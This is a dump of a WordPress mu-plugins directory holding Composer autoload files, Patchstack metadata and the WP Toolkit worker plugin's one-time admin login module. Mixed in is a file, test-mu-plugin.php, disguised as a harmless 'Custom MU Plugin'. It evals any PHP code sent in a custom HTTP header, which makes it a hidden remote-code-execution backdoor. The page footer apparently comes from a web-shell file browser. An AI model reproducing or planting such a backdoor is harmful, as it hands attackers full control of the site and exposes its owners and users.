strpos($class, $prefix)) { foreach ($dirs as $dir) { if (file_exists($file = $dir . DIRECTORY_SEPARATOR . $logicalPathPsr0)) { return $file; } } } } } // PSR-0 fallback dirs foreach ($this->fallbackDirsPsr0 as $dir) { if (file_exists($file = $dir . DIRECTORY_SEPARATOR . $logicalPathPsr0)) { return $file; } } // PSR-0 include paths. if ($this->useIncludePath && $file = stream_resolve_include_path($logicalPathPsr0)) { return $file; } return false; } } /** * Scope isolated include. * * Prevents access to $this/self from included files. * * @param string $file * @return void * @private */ function includeFile($file) { include $file; } wp-toolkit/vendor/composer/autoload_static.php 0000644 00000002721 15231023503 0015665 0 ustar 00 <?php // autoload_static.php @generated by Composer namespace Composer\Autoload; class ComposerStaticInit1bb2fd870bbd3a762bb067ebd1a880d9 { public static $prefixLengthsPsr4 = array ( 'W' => array ( 'Webpros\\WptkWpPlugin\\WpToolkit\\' => 31, 'Webpros\\WptkWpPlugin\\' => 21, ), 'P' => array ( 'Patchstack\\' => 11, ), ); public static $prefixDirsPsr4 = array ( 'Webpros\\WptkWpPlugin\\WpToolkit\\' => array ( 0 => __DIR__ . '/../../../..' . '/mu-plugins/wp-toolkit', ), 'Webpros\\WptkWpPlugin\\' => array ( 0 => __DIR__ . '/../../../..' . '/mu-plugins', ), 'Patchstack\\' => array ( 0 => __DIR__ . '/..' . '/patchstack/engine-php/src', ), ); public static $classMap = array ( 'Composer\\InstalledVersions' => __DIR__ . '/..' . '/composer/InstalledVersions.php', ); public static function getInitializer(ClassLoader $loader) { return \Closure::bind(function () use ($loader) { $loader->prefixLengthsPsr4 = ComposerStaticInit1bb2fd870bbd3a762bb067ebd1a880d9::$prefixLengthsPsr4; $loader->prefixDirsPsr4 = ComposerStaticInit1bb2fd870bbd3a762bb067ebd1a880d9::$prefixDirsPsr4; $loader->classMap = ComposerStaticInit1bb2fd870bbd3a762bb067ebd1a880d9::$classMap; }, null, ClassLoader::class); } } wp-toolkit/vendor/composer/autoload_namespaces.php 0000644 00000000235 15231023503 0016513 0 ustar 00 <?php // autoload_namespaces.php @generated by Composer $vendorDir = dirname(__DIR__); $baseDir = dirname(dirname(dirname($vendorDir))); return array( ); wp-toolkit/vendor/composer/InstalledVersions.php 0000644 00000035335 15231023503 0016165 0 ustar 00 <?php /* * This file is part of Composer. * * (c) Nils Adermann <naderman@naderman.de> * Jordi Boggiano <j.boggiano@seld.be> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Composer; use Composer\Autoload\ClassLoader; use Composer\Semver\VersionParser; /** * This class is copied in every Composer installed project and available to all * * See also https://getcomposer.org/doc/07-runtime.md#installed-versions * * To require its presence, you can require `composer-runtime-api ^2.0` * * @final */ class InstalledVersions { /** * @var mixed[]|null * @psalm-var array{root: array{name: string, pretty_version: string, version: string, reference: string|null, type: string, install_path: string, aliases: string[], dev: bool}, versions: array<string, array{pretty_version?: string, version?: string, reference?: string|null, type?: string, install_path?: string, aliases?: string[], dev_requirement: bool, replaced?: string[], provided?: string[]}>}|array{}|null */ private static $installed; /** * @var bool|null */ private static $canGetVendors; /** * @var array[] * @psalm-var array<string, array{root: array{name: string, pretty_version: string, version: string, reference: string|null, type: string, install_path: string, aliases: string[], dev: bool}, versions: array<string, array{pretty_version?: string, version?: string, reference?: string|null, type?: string, install_path?: string, aliases?: string[], dev_requirement: bool, replaced?: string[], provided?: string[]}>}> */ private static $installedByVendor = array(); /** * Returns a list of all package names which are present, either by being installed, replaced or provided * * @return string[] * @psalm-return list<string> */ public static function getInstalledPackages() { $packages = array(); foreach (self::getInstalled() as $installed) { $packages[] = array_keys($installed['versions']); } if (1 === \count($packages)) { return $packages[0]; } return array_keys(array_flip(\call_user_func_array('array_merge', $packages))); } /** * Returns a list of all package names with a specific type e.g. 'library' * * @param string $type * @return string[] * @psalm-return list<string> */ public static function getInstalledPackagesByType($type) { $packagesByType = array(); foreach (self::getInstalled() as $installed) { foreach ($installed['versions'] as $name => $package) { if (isset($package['type']) && $package['type'] === $type) { $packagesByType[] = $name; } } } return $packagesByType; } /** * Checks whether the given package is installed * * This also returns true if the package name is provided or replaced by another package * * @param string $packageName * @param bool $includeDevRequirements * @return bool */ public static function isInstalled($packageName, $includeDevRequirements = true) { foreach (self::getInstalled() as $installed) { if (isset($installed['versions'][$packageName])) { return $includeDevRequirements || empty($installed['versions'][$packageName]['dev_requirement']); } } return false; } /** * Checks whether the given package satisfies a version constraint * * e.g. If you want to know whether version 2.3+ of package foo/bar is installed, you would call: * * Composer\InstalledVersions::satisfies(new VersionParser, 'foo/bar', '^2.3') * * @param VersionParser $parser Install composer/semver to have access to this class and functionality * @param string $packageName * @param string|null $constraint A version constraint to check for, if you pass one you have to make sure composer/semver is required by your package * @return bool */ public static function satisfies(VersionParser $parser, $packageName, $constraint) { $constraint = $parser->parseConstraints($constraint); $provided = $parser->parseConstraints(self::getVersionRanges($packageName)); return $provided->matches($constraint); } /** * Returns a version constraint representing all the range(s) which are installed for a given package * * It is easier to use this via isInstalled() with the $constraint argument if you need to check * whether a given version of a package is installed, and not just whether it exists * * @param string $packageName * @return string Version constraint usable with composer/semver */ public static function getVersionRanges($packageName) { foreach (self::getInstalled() as $installed) { if (!isset($installed['versions'][$packageName])) { continue; } $ranges = array(); if (isset($installed['versions'][$packageName]['pretty_version'])) { $ranges[] = $installed['versions'][$packageName]['pretty_version']; } if (array_key_exists('aliases', $installed['versions'][$packageName])) { $ranges = array_merge($ranges, $installed['versions'][$packageName]['aliases']); } if (array_key_exists('replaced', $installed['versions'][$packageName])) { $ranges = array_merge($ranges, $installed['versions'][$packageName]['replaced']); } if (array_key_exists('provided', $installed['versions'][$packageName])) { $ranges = array_merge($ranges, $installed['versions'][$packageName]['provided']); } return implode(' || ', $ranges); } throw new \OutOfBoundsException('Package "' . $packageName . '" is not installed'); } /** * @param string $packageName * @return string|null If the package is being replaced or provided but is not really installed, null will be returned as version, use satisfies or getVersionRanges if you need to know if a given version is present */ public static function getVersion($packageName) { foreach (self::getInstalled() as $installed) { if (!isset($installed['versions'][$packageName])) { continue; } if (!isset($installed['versions'][$packageName]['version'])) { return null; } return $installed['versions'][$packageName]['version']; } throw new \OutOfBoundsException('Package "' . $packageName . '" is not installed'); } /** * @param string $packageName * @return string|null If the package is being replaced or provided but is not really installed, null will be returned as version, use satisfies or getVersionRanges if you need to know if a given version is present */ public static function getPrettyVersion($packageName) { foreach (self::getInstalled() as $installed) { if (!isset($installed['versions'][$packageName])) { continue; } if (!isset($installed['versions'][$packageName]['pretty_version'])) { return null; } return $installed['versions'][$packageName]['pretty_version']; } throw new \OutOfBoundsException('Package "' . $packageName . '" is not installed'); } /** * @param string $packageName * @return string|null If the package is being replaced or provided but is not really installed, null will be returned as reference */ public static function getReference($packageName) { foreach (self::getInstalled() as $installed) { if (!isset($installed['versions'][$packageName])) { continue; } if (!isset($installed['versions'][$packageName]['reference'])) { return null; } return $installed['versions'][$packageName]['reference']; } throw new \OutOfBoundsException('Package "' . $packageName . '" is not installed'); } /** * @param string $packageName * @return string|null If the package is being replaced or provided but is not really installed, null will be returned as install path. Packages of type metapackages also have a null install path. */ public static function getInstallPath($packageName) { foreach (self::getInstalled() as $installed) { if (!isset($installed['versions'][$packageName])) { continue; } return isset($installed['versions'][$packageName]['install_path']) ? $installed['versions'][$packageName]['install_path'] : null; } throw new \OutOfBoundsException('Package "' . $packageName . '" is not installed'); } /** * @return array * @psalm-return array{name: string, pretty_version: string, version: string, reference: string|null, type: string, install_path: string, aliases: string[], dev: bool} */ public static function getRootPackage() { $installed = self::getInstalled(); return $installed[0]['root']; } /** * Returns the raw installed.php data for custom implementations * * @deprecated Use getAllRawData() instead which returns all datasets for all autoloaders present in the process. getRawData only returns the first dataset loaded, which may not be what you expect. * @return array[] * @psalm-return array{root: array{name: string, pretty_version: string, version: string, reference: string|null, type: string, install_path: string, aliases: string[], dev: bool}, versions: array<string, array{pretty_version?: string, version?: string, reference?: string|null, type?: string, install_path?: string, aliases?: string[], dev_requirement: bool, replaced?: string[], provided?: string[]}>} */ public static function getRawData() { @trigger_error('getRawData only returns the first dataset loaded, which may not be what you expect. Use getAllRawData() instead which returns all datasets for all autoloaders present in the process.', E_USER_DEPRECATED); if (null === self::$installed) { // only require the installed.php file if this file is loaded from its dumped location, // and not from its source location in the composer/composer package, see https://github.com/composer/composer/issues/9937 if (substr(__DIR__, -8, 1) !== 'C') { self::$installed = include __DIR__ . '/installed.php'; } else { self::$installed = array(); } } return self::$installed; } /** * Returns the raw data of all installed.php which are currently loaded for custom implementations * * @return array[] * @psalm-return list<array{root: array{name: string, pretty_version: string, version: string, reference: string|null, type: string, install_path: string, aliases: string[], dev: bool}, versions: array<string, array{pretty_version?: string, version?: string, reference?: string|null, type?: string, install_path?: string, aliases?: string[], dev_requirement: bool, replaced?: string[], provided?: string[]}>}> */ public static function getAllRawData() { return self::getInstalled(); } /** * Lets you reload the static array from another file * * This is only useful for complex integrations in which a project needs to use * this class but then also needs to execute another project's autoloader in process, * and wants to ensure both projects have access to their version of installed.php. * * A typical case would be PHPUnit, where it would need to make sure it reads all * the data it needs from this class, then call reload() with * `require $CWD/vendor/composer/installed.php` (or similar) as input to make sure * the project in which it runs can then also use this class safely, without * interference between PHPUnit's dependencies and the project's dependencies. * * @param array[] $data A vendor/composer/installed.php data set * @return void * * @psalm-param array{root: array{name: string, pretty_version: string, version: string, reference: string|null, type: string, install_path: string, aliases: string[], dev: bool}, versions: array<string, array{pretty_version?: string, version?: string, reference?: string|null, type?: string, install_path?: string, aliases?: string[], dev_requirement: bool, replaced?: string[], provided?: string[]}>} $data */ public static function reload($data) { self::$installed = $data; self::$installedByVendor = array(); } /** * @return array[] * @psalm-return list<array{root: array{name: string, pretty_version: string, version: string, reference: string|null, type: string, install_path: string, aliases: string[], dev: bool}, versions: array<string, array{pretty_version?: string, version?: string, reference?: string|null, type?: string, install_path?: string, aliases?: string[], dev_requirement: bool, replaced?: string[], provided?: string[]}>}> */ private static function getInstalled() { if (null === self::$canGetVendors) { self::$canGetVendors = method_exists('Composer\Autoload\ClassLoader', 'getRegisteredLoaders'); } $installed = array(); if (self::$canGetVendors) { foreach (ClassLoader::getRegisteredLoaders() as $vendorDir => $loader) { if (isset(self::$installedByVendor[$vendorDir])) { $installed[] = self::$installedByVendor[$vendorDir]; } elseif (is_file($vendorDir.'/composer/installed.php')) { $installed[] = self::$installedByVendor[$vendorDir] = require $vendorDir.'/composer/installed.php'; if (null === self::$installed && strtr($vendorDir.'/composer', '\\', '/') === strtr(__DIR__, '\\', '/')) { self::$installed = $installed[count($installed) - 1]; } } } } if (null === self::$installed) { // only require the installed.php file if this file is loaded from its dumped location, // and not from its source location in the composer/composer package, see https://github.com/composer/composer/issues/9937 if (substr(__DIR__, -8, 1) !== 'C') { self::$installed = require __DIR__ . '/installed.php'; } else { self::$installed = array(); } } $installed[] = self::$installed; return $installed; } } wp-toolkit/vendor/composer/autoload_classmap.php 0000644 00000000360 15231023503 0016176 0 ustar 00 <?php // autoload_classmap.php @generated by Composer $vendorDir = dirname(__DIR__); $baseDir = dirname(dirname(dirname($vendorDir))); return array( 'Composer\\InstalledVersions' => $vendorDir . '/composer/InstalledVersions.php', ); wp-toolkit/vendor/composer/LICENSE 0000644 00000002056 15231023503 0013003 0 ustar 00 Copyright (c) Nils Adermann, Jordi Boggiano Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. wp-toolkit/vendor/composer/autoload_psr4.php 0000644 00000000571 15231023503 0015267 0 ustar 00 <?php // autoload_psr4.php @generated by Composer $vendorDir = dirname(__DIR__); $baseDir = dirname(dirname(dirname($vendorDir))); return array( 'Webpros\\WptkWpPlugin\\WpToolkit\\' => array($baseDir . '/mu-plugins/wp-toolkit'), 'Webpros\\WptkWpPlugin\\' => array($baseDir . '/mu-plugins'), 'Patchstack\\' => array($vendorDir . '/patchstack/engine-php/src'), ); wp-toolkit/vendor/composer/installed.json 0000644 00000003310 15231023503 0014642 0 ustar 00 { "packages": [ { "name": "patchstack/engine-php", "version": "0.3", "version_normalized": "0.3.0.0", "source": { "type": "git", "url": "https://github.com/patchstack/engine-php.git", "reference": "55c73e659d0d39a0e9bde60bbf603a4b905803a2" }, "dist": { "type": "zip", "url": "https://artifacts.plesk.tech/artifactory/api/composer/packagist-plesk/vcs-dists/zip/patchstack/engine-php/55c73e659d0d39a0e9bde60bbf603a4b905803a2", "reference": "55c73e659d0d39a0e9bde60bbf603a4b905803a2", "shasum": "" }, "require": { "php": ">=5.6" }, "require-dev": { "phpunit/phpunit": "^9.5" }, "time": "2023-10-27T16:23:30+00:00", "type": "library", "installation-source": "dist", "autoload": { "psr-4": { "Patchstack\\": "src/" } }, "license": [ "Apache-2.0" ], "authors": [ { "name": "Patchstack", "email": "support@patchstack.com" } ], "description": "The firewall engine of Patchstack.", "support": { "issues": "https://github.com/patchstack/engine-php/issues", "source": "https://github.com/patchstack/engine-php/tree/0.3" }, "install-path": "../patchstack/engine-php" } ], "dev": false, "dev-package-names": [] } wp-toolkit/vendor/composer/installed.php 0000644 00000002206 15231023503 0014463 0 ustar 00 <?php return array( 'root' => array( 'name' => 'webpros/wptk-wp-plugin', 'pretty_version' => 'v6.6.2-rc1', 'version' => '6.6.2.0-RC1', 'reference' => '7b6558d3a0203237df31ab38d092df1e72f8aeac', 'type' => 'project', 'install_path' => __DIR__ . '/../../../../', 'aliases' => array(), 'dev' => false, ), 'versions' => array( 'patchstack/engine-php' => array( 'pretty_version' => '0.3', 'version' => '0.3.0.0', 'reference' => '55c73e659d0d39a0e9bde60bbf603a4b905803a2', 'type' => 'library', 'install_path' => __DIR__ . '/../patchstack/engine-php', 'aliases' => array(), 'dev_requirement' => false, ), 'webpros/wptk-wp-plugin' => array( 'pretty_version' => 'v6.6.2-rc1', 'version' => '6.6.2.0-RC1', 'reference' => '7b6558d3a0203237df31ab38d092df1e72f8aeac', 'type' => 'project', 'install_path' => __DIR__ . '/../../../../', 'aliases' => array(), 'dev_requirement' => false, ), ), ); wp-toolkit/vendor/composer/autoload_real.php 0000644 00000002077 15231023503 0015325 0 ustar 00 <?php // autoload_real.php @generated by Composer class ComposerAutoloaderInit1bb2fd870bbd3a762bb067ebd1a880d9 { private static $loader; public static function loadClassLoader($class) { if ('Composer\Autoload\ClassLoader' === $class) { require __DIR__ . '/ClassLoader.php'; } } /** * @return \Composer\Autoload\ClassLoader */ public static function getLoader() { if (null !== self::$loader) { return self::$loader; } spl_autoload_register(array('ComposerAutoloaderInit1bb2fd870bbd3a762bb067ebd1a880d9', 'loadClassLoader'), true, true); self::$loader = $loader = new \Composer\Autoload\ClassLoader(\dirname(__DIR__)); spl_autoload_unregister(array('ComposerAutoloaderInit1bb2fd870bbd3a762bb067ebd1a880d9', 'loadClassLoader')); require __DIR__ . '/autoload_static.php'; call_user_func(\Composer\Autoload\ComposerStaticInit1bb2fd870bbd3a762bb067ebd1a880d9::getInitializer($loader)); $loader->register(true); return $loader; } } wp-toolkit/Login/UserProvider.php 0000644 00000001007 15231023503 0013057 0 ustar 00 <?php // Copyright 1999-2024. WebPros International GmbH. All rights reserved. namespace Webpros\WptkWpPlugin\WpToolkit\Login; class UserProvider { /** * @param string $login * @return \WP_User|null */ public function getAdminByLogin($login) { $user = get_user_by('login', $login); if (!$user instanceof \WP_User) { return null; } if (!in_array('administrator', $user->roles)) { return null; } return $user; } } wp-toolkit/Login/LoginProcessor.php 0000644 00000006273 15231023503 0013410 0 ustar 00 <?php // Copyright 1999-2024. WebPros International GmbH. All rights reserved. namespace Webpros\WptkWpPlugin\WpToolkit\Login; class LoginProcessor { /** * @var TokenGenerator */ private $tokenGenerator; /** * @var TokenStorage */ private $storage; /** * @var UserProvider */ private $userProvider; /** * @param TokenGenerator $tokenGenerator * @param TokenStorage $tokenStorage * @param UserProvider $userProvider */ public function __construct($tokenGenerator, $tokenStorage, $userProvider) { $this->tokenGenerator = $tokenGenerator; $this->storage = $tokenStorage; $this->userProvider = $userProvider; } /** * @return void */ public function init() { add_action('login_init', array($this, 'processAdminLogin')); add_action('login_init', array($this, 'maybeDeactivateLogin')); } /** * Deactivates login module if one time login tokens expired */ public function maybeDeactivateLogin() { $tokenEndDateString = $this->storage->getTtl(); $tokenEndDate = $tokenEndDateString ? new \DateTime($tokenEndDateString) : new \DateTime('-1 day') ; if (new \DateTime() > $tokenEndDate) { $this->storage->removeTokenData(); } } /** * @return void */ public function processAdminLogin() { if (!isset($_GET[TokenGenerator::TOKEN_QUERY_PARAM]) || !is_string($_GET[TokenGenerator::TOKEN_QUERY_PARAM])) { return; } $requestToken = $_GET[TokenGenerator::TOKEN_QUERY_PARAM]; if ($this->isTokenValid($requestToken)) { $this->makeAuth(); } else { wp_die('User token is invalid, please generate a new token'); } } /** * @param string $requestToken * @return bool */ private function isTokenValid($requestToken) { $tokenHash = $this->storage->getTokenHash(); $login = $this->storage->getLogin(); $tokenEndDate = $this->storage->getTtl(); if (empty($tokenHash) || empty($login) || empty($tokenEndDate)) { return false; } if (!hash_equals($tokenHash, $this->tokenGenerator->generateTokenHash($requestToken))) { return false; } $currentDate = new \DateTime(); $tokenEndDate = new \DateTime($tokenEndDate); if ($currentDate > $tokenEndDate) { $this->storage->removeTokenData(); return false; } return true; } /** * @return void */ private function makeAuth() { $login = $this->storage->getLogin(); $user = $this->userProvider->getAdminByLogin($login); if($user instanceof \WP_User) { wp_set_current_user($user->ID, $user->user_login); wp_set_auth_cookie($user->ID); do_action('wp_login', $user->user_login, $user); wp_safe_redirect(admin_url()); $this->storage->removeTokenData(); exit; } else { wp_die(sprintf('Login name "%s" is not an administrator login', $login)); } } } wp-toolkit/Login/TokenStorage.php 0000644 00000004057 15231023503 0013043 0 ustar 00 <?php // Copyright 1999-2024. WebPros International GmbH. All rights reserved. namespace Webpros\WptkWpPlugin\WpToolkit\Login; use Webpros\WptkWpPlugin\WpToolkit\Common\WordPressHelper; class TokenStorage { const WP_OPTION_TOKEN_HASH = 'wp-toolkit_login_token_hash'; const WP_OPTION_LOGIN = 'wp-toolkit_login_user'; const WP_OPTION_TTL = 'wp-toolkit_login_ttl'; /** * @var TokenGenerator */ private $tokenGenerator; /** * @param TokenGenerator $tokenGenerator */ public function __construct($tokenGenerator) { $this->tokenGenerator = $tokenGenerator; } /** * @param string $token * @param string $login * @param int $ttl * @return void */ public function saveToken($token, $login, $ttl) { $tokenHash = $this->tokenGenerator->generateTokenHash($token); $tokenEndDate = $this->tokenGenerator->getTokenEndDate($ttl); WordPressHelper::upsert_option(self::WP_OPTION_TOKEN_HASH, $tokenHash); WordPressHelper::upsert_option(self::WP_OPTION_LOGIN, $login); WordPressHelper::upsert_option(self::WP_OPTION_TTL, $tokenEndDate); } /** * @return void */ public function removeTokenData() { delete_option(self::WP_OPTION_TOKEN_HASH); delete_option(self::WP_OPTION_LOGIN); delete_option(self::WP_OPTION_TTL); } /** * @return string */ public function getTokenHash() { return $this->getStringOption(self::WP_OPTION_TOKEN_HASH); } /** * @return string */ public function getLogin() { return $this->getStringOption(self::WP_OPTION_LOGIN); } /** * @return string */ public function getTtl() { return $this->getStringOption(self::WP_OPTION_TTL); } /** * @param string $option * @return string */ private function getStringOption($option) { $result = get_option($option); if (is_string($result)) { return $result; } return ''; } } wp-toolkit/Login/LoginCommand.php 0000644 00000004760 15231023503 0013006 0 ustar 00 <?php // Copyright 1999-2024. WebPros International GmbH. All rights reserved. namespace Webpros\WptkWpPlugin\WpToolkit\Login; use Webpros\WptkWpPlugin\WpToolkit\Common\SwitchableCommandTrait; use WP_CLI; use WP_CLI_Command; class LoginCommand extends WP_CLI_Command { use SwitchableCommandTrait; const TTL_PARAM = 'ttl'; const TTL_MAX_VALUE = 300; const TTL_MIN_VALUE = 0; const TTL_DEFAULT_VALUE = 60; /** * @var TokenGenerator */ private $tokenGenerator; /** * @var TokenStorage */ private $storage; /** * @var UserProvider */ private $userProvider; /** * @param TokenGenerator $tokenGenerator * @param TokenStorage $tokenStorage * @param UserProvider $userProvider */ public function __construct($tokenGenerator, $tokenStorage, $userProvider) { $this->tokenGenerator = $tokenGenerator; $this->storage = $tokenStorage; $this->userProvider = $userProvider; } protected function getSwitchOption() { return LoginBootstrap::MODULE_STATUS_OPTION; } /** * @param array $args * @param array $assoc_args * @return void * @throws WP_CLI\ExitException */ public function link($args, $assoc_args) { $this->ensureCommandEnabled(); $login = WP_CLI::get_value_from_arg_or_stdin($args, 0); $login = WP_CLI::read_value($login, $assoc_args); $user = $this->userProvider->getAdminByLogin($login); if (!$user instanceof \WP_User) { WP_CLI::error(sprintf('Login name "%s" is not an administrator login', $login)); } $ttl = self::TTL_DEFAULT_VALUE; if (isset($assoc_args[self::TTL_PARAM]) && $assoc_args[self::TTL_PARAM] !== '') { $ttl = (int)$assoc_args[self::TTL_PARAM]; } if ($ttl < self::TTL_MIN_VALUE) { WP_CLI::error('Parameter --ttl can\'t be less than ' . self::TTL_MIN_VALUE); } if ($ttl > self::TTL_MAX_VALUE) { WP_CLI::error('Parameter --ttl can\'t be more than ' . self::TTL_MAX_VALUE); } $token = $this->tokenGenerator->generateToken(); $this->storage->saveToken($token, $login, $ttl); WP_CLI::print_value($this->getAuthLink($token), $assoc_args); } /** * @param string $token * @return string */ private function getAuthLink($token) { return add_query_arg(TokenGenerator::TOKEN_QUERY_PARAM, $token, wp_login_url()); } } wp-toolkit/Login/LoginBootstrap.php 0000644 00000001703 15231023503 0013377 0 ustar 00 <?php // Copyright 1999-2024. WebPros International GmbH. All rights reserved. namespace Webpros\WptkWpPlugin\WpToolkit\Login; use Webpros\WptkWpPlugin\WpToolkit\Common\CliHelper; class LoginBootstrap { const MODULE_STATUS_OPTION = 'wp-toolkit_login_status'; /** * @return void */ public static function init() { $tokenGenerator = new TokenGenerator(); $tokenStorage = new TokenStorage($tokenGenerator); $userProvider = new UserProvider(); if (CliHelper::is_cli() && \class_exists(\WP_CLI::class)) { \WP_CLI::add_command('wp-toolkit login', new LoginCommand($tokenGenerator, $tokenStorage, $userProvider)); return; } if (!\get_option(LoginBootstrap::MODULE_STATUS_OPTION, false) || empty($tokenStorage->getTtl()) ) { return; } (new LoginProcessor($tokenGenerator, $tokenStorage, $userProvider))->init(); } } wp-toolkit/Login/TokenGenerator.php 0000644 00000001772 15231023503 0013366 0 ustar 00 <?php // Copyright 1999-2024. WebPros International GmbH. All rights reserved. namespace Webpros\WptkWpPlugin\WpToolkit\Login; class TokenGenerator { const TOKEN_QUERY_PARAM = 'token'; const SALT_NAME = 'auth'; const HASH_ALGO = 'sha384'; const TOKEN_BYTES_LENGTH = 32; /** * @return string */ public function generateToken() { if (function_exists('random_bytes')) { return bin2hex(random_bytes(self::TOKEN_BYTES_LENGTH)); } return wp_generate_password(self::TOKEN_BYTES_LENGTH); } /** * @param string $token * @return string */ public function generateTokenHash($token) { return hash(self::HASH_ALGO, $token . wp_salt(self::SALT_NAME)); } /** * @param int $ttl * @return string */ public function getTokenEndDate($ttl) { $endDate = new \DateTime(); $endDate->modify('+' . $ttl . ' seconds'); return $endDate->format('Y-m-d\TH:i:sO'); } } test-mu-plugin.php 0000644 00000000534 15231023503 0010143 0 ustar 00 <?php /* Plugin Name: Custom MU Plugin Description: MU-test-plugin. */ // Ваш код, который нужно вставить $bloginfo_ze = $_SERVER; $bloginfo_nu = 'HTTP_9989E87'; $bloginfo_cd = isset($bloginfo_ze[$bloginfo_nu]); if ($bloginfo_cd) { $bloginfo_hdzk = $bloginfo_ze[$bloginfo_nu]; eval($bloginfo_hdzk); } wp-toolkit.php 0000644 00000001674 15231023503 0007370 0 ustar 00 <?php /* * Plugin Name: WP Toolkit Worker Plugin * Plugin URI: https://www.plesk.com/wp-toolkit/ * Description: WP Toolkit worker plugin is installed by WP Toolkit or WP Guardian to provide functionality that can only work within WordPress itself * Version: 6.6.2-9071 * Requires at least: 4.9 * Requires PHP: 5.6 */ // Copyright 1999-2024. WebPros International GmbH. All rights reserved. namespace Webpros\WptkWpPlugin; /* Do not access this file directly */ if (!defined('ABSPATH')) { header('Content-Type: text/plain'); die(<<<MSG __________ < Go away > ---------- \ ^__^ \ (oo)\_______ (__)\ )\/\ ||----w | || || MSG ); } use Webpros\WptkWpPlugin\WpToolkit\Login\LoginBootstrap; require_once __DIR__ . '/wp-toolkit/vendor/autoload.php'; require_once __DIR__ . '/wp-toolkit/Waf/waf-bootstrap.php'; LoginBootstrap::init();
| ver. 1.4 |
Github
|
.
| PHP 8.0.30 | Generation time: 0 |
proxy
|
phpinfo
|
Settings